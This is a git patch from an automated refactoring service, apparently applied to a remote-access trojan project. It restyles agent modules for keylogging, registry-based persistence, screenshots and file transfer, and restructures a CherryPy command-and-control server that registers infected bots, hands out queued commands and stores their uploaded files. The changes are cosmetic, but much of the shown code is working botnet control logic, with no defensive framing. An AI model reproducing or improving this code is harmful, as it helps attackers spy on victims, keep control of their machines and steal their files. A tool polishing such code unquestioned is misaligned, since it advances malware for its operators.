From 25e1b1260c08d580a3ae7c216224108e622cb006 Mon Sep 17 00:00:00 2001 From: Sourcery AI Date: Wed, 2 Feb 2022 06:39:09 +0000 Subject: [PATCH] 'Refactored by Sourcery' --- agent/modules/download.py | 3 +- agent/modules/keylogger.py | 3 +- agent/modules/persistence.py | 10 ++---- agent/modules/screenshot.py | 3 +- agent/modules/upload.py | 3 +- server/server.py | 59 +++++++++++++++++++----------------- 6 files changed, 39 insertions(+), 42 deletions(-) diff --git a/agent/modules/download.py b/agent/modules/download.py index 3380066..e7ab99f 100644 --- a/agent/modules/download.py +++ b/agent/modules/download.py @@ -14,9 +14,8 @@ def run(url): def help(): - help_text = """ + return """ Usage: download http://example.com/filename Downloads a file through HTTP. """ - return help_text diff --git a/agent/modules/keylogger.py b/agent/modules/keylogger.py index e3e2ac8..ea5e97f 100644 --- a/agent/modules/keylogger.py +++ b/agent/modules/keylogger.py @@ -55,9 +55,8 @@ def run(action): def help(): - help_text = """ + return """ Usage: keylogger start|show Starts a keylogger or shows logged keys. """ - return help_text diff --git a/agent/modules/persistence.py b/agent/modules/persistence.py index d79f8e9..ffb2a29 100644 --- a/agent/modules/persistence.py +++ b/agent/modules/persistence.py @@ -34,10 +34,7 @@ def clean(): def is_installed(): output = os.popen( "reg query HKCU\Software\Microsoft\Windows\Currentversion\Run /f %s" % SERVICE_NAME) - if SERVICE_NAME in output.read(): - return True - else: - return False + return SERVICE_NAME in output.read() def run(action): @@ -55,9 +52,8 @@ def run(action): def help(): - help_text = """ + return """ Usage: persistence install|remove|status Manages persistence. - """ - return help_text \ No newline at end of file + """ \ No newline at end of file diff --git a/agent/modules/screenshot.py b/agent/modules/screenshot.py index 85b0312..921ed05 100644 --- a/agent/modules/screenshot.py +++ b/agent/modules/screenshot.py @@ -19,9 +19,8 @@ def run(): def help(): - help_text = """ + return """ Usage: screenshot Captures screen. """ - return help_text diff --git a/agent/modules/upload.py b/agent/modules/upload.py index 79881c2..b358438 100644 --- a/agent/modules/upload.py +++ b/agent/modules/upload.py @@ -19,9 +19,8 @@ def run(path): def help(): - help_text = """ + return """ Usage: upload path/to/local/file Uploads a file. """ - return help_text diff --git a/server/server.py b/server/server.py index 89ba6fe..2ec3780 100644 --- a/server/server.py +++ b/server/server.py @@ -33,9 +33,7 @@ def validate_botid(candidate): def query_DB(sql, params=()): conn = sqlite3.connect('beta.db') cursor = conn.cursor() - result = [] - for row in cursor.execute(sql, params): - result.append(row) + result = list(cursor.execute(sql, params)) conn.close() return result @@ -52,18 +50,26 @@ class Main(object): @cherrypy.expose def index(self): with open("Menu.html", "r") as f: - html = f.read() - return html + return f.read() class CNC(object): @cherrypy.expose def index(self): bot_list = query_DB("SELECT * FROM bots ORDER BY lastonline DESC") - output = "" - for bot in bot_list: - output += '%s%s%s%s' % (bot[0], bot[0], "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), bot[2], bot[3], - bot[0]) + output = "".join( + '%s%s%s%s' + % ( + bot[0], + bot[0], + "Online" if time.time() - 30 < bot[1] else time.ctime(bot[1]), + bot[2], + bot[3], + bot[0], + ) + for bot in bot_list + ) + with open("List.html", "r") as f: html = f.read() html = html.replace("{{bot_table}}", output) @@ -84,17 +90,19 @@ class API(object): def pop(self, botid, sysinfo): if not validate_botid(botid): raise cherrypy.HTTPError(403) - bot = query_DB("SELECT * FROM bots WHERE name=?", (botid,)) - if not bot: - exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo))) - else: + if bot := query_DB("SELECT * FROM bots WHERE name=?", (botid,)): exec_DB("UPDATE bots SET lastonline=? where name=?", (time.time(), botid)) - cmd = query_DB("SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", (botid, 0)) - if cmd: - exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0])) - return cmd[0][2] else: + exec_DB("INSERT INTO bots VALUES (?, ?, ?, ?)", (html_escape(botid), time.time(), html_escape(cherrypy.request.headers["X-Forwarded-For"]) if "X-Forwarded-For" in cherrypy.request.headers else cherrypy.request.remote.ip, html_escape(sysinfo))) + if not ( + cmd := query_DB( + "SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date", + (botid, 0), + ) + ): return "" + exec_DB("UPDATE commands SET sent=? where id=?", (1, cmd[0][0])) + return cmd[0][2] @cherrypy.expose def report(self, botid, output): @@ -114,10 +122,8 @@ def push(self, botid, cmd): def stdout(self, botid): if not validate_botid(botid): raise cherrypy.HTTPError(403) - output = "" bot_output = query_DB('SELECT * FROM output WHERE bot=? ORDER BY date DESC LIMIT 10', (botid,)) - for entry in reversed(bot_output): - output += "> %s\n\n" % entry[2] + output = "".join("> %s\n\n" % entry[2] for entry in reversed(bot_output)) bot_queue = query_DB('SELECT * FROM commands WHERE bot=? and sent=? ORDER BY date', (botid, 0)) for entry in bot_queue: output += "> %s\n[PENDING...]\n\n" % entry[2] @@ -140,13 +146,12 @@ def upload(self, botid, src, uploaded): while os.path.exists(os.path.join(up_dir, src)): src = "_" + src save_path = os.path.join(up_dir, src) - outfile = open(save_path, 'wb') - while True: - data = uploaded.file.read(8192) - if not data: - break - outfile.write(data) - outfile.close() + with open(save_path, 'wb') as outfile: + while True: + data = uploaded.file.read(8192) + if not data: + break + outfile.write(data) up_url = "../uploads/" + html_escape(botid) + "/" + html_escape(src) return 'Uploaded: ' + up_url + ''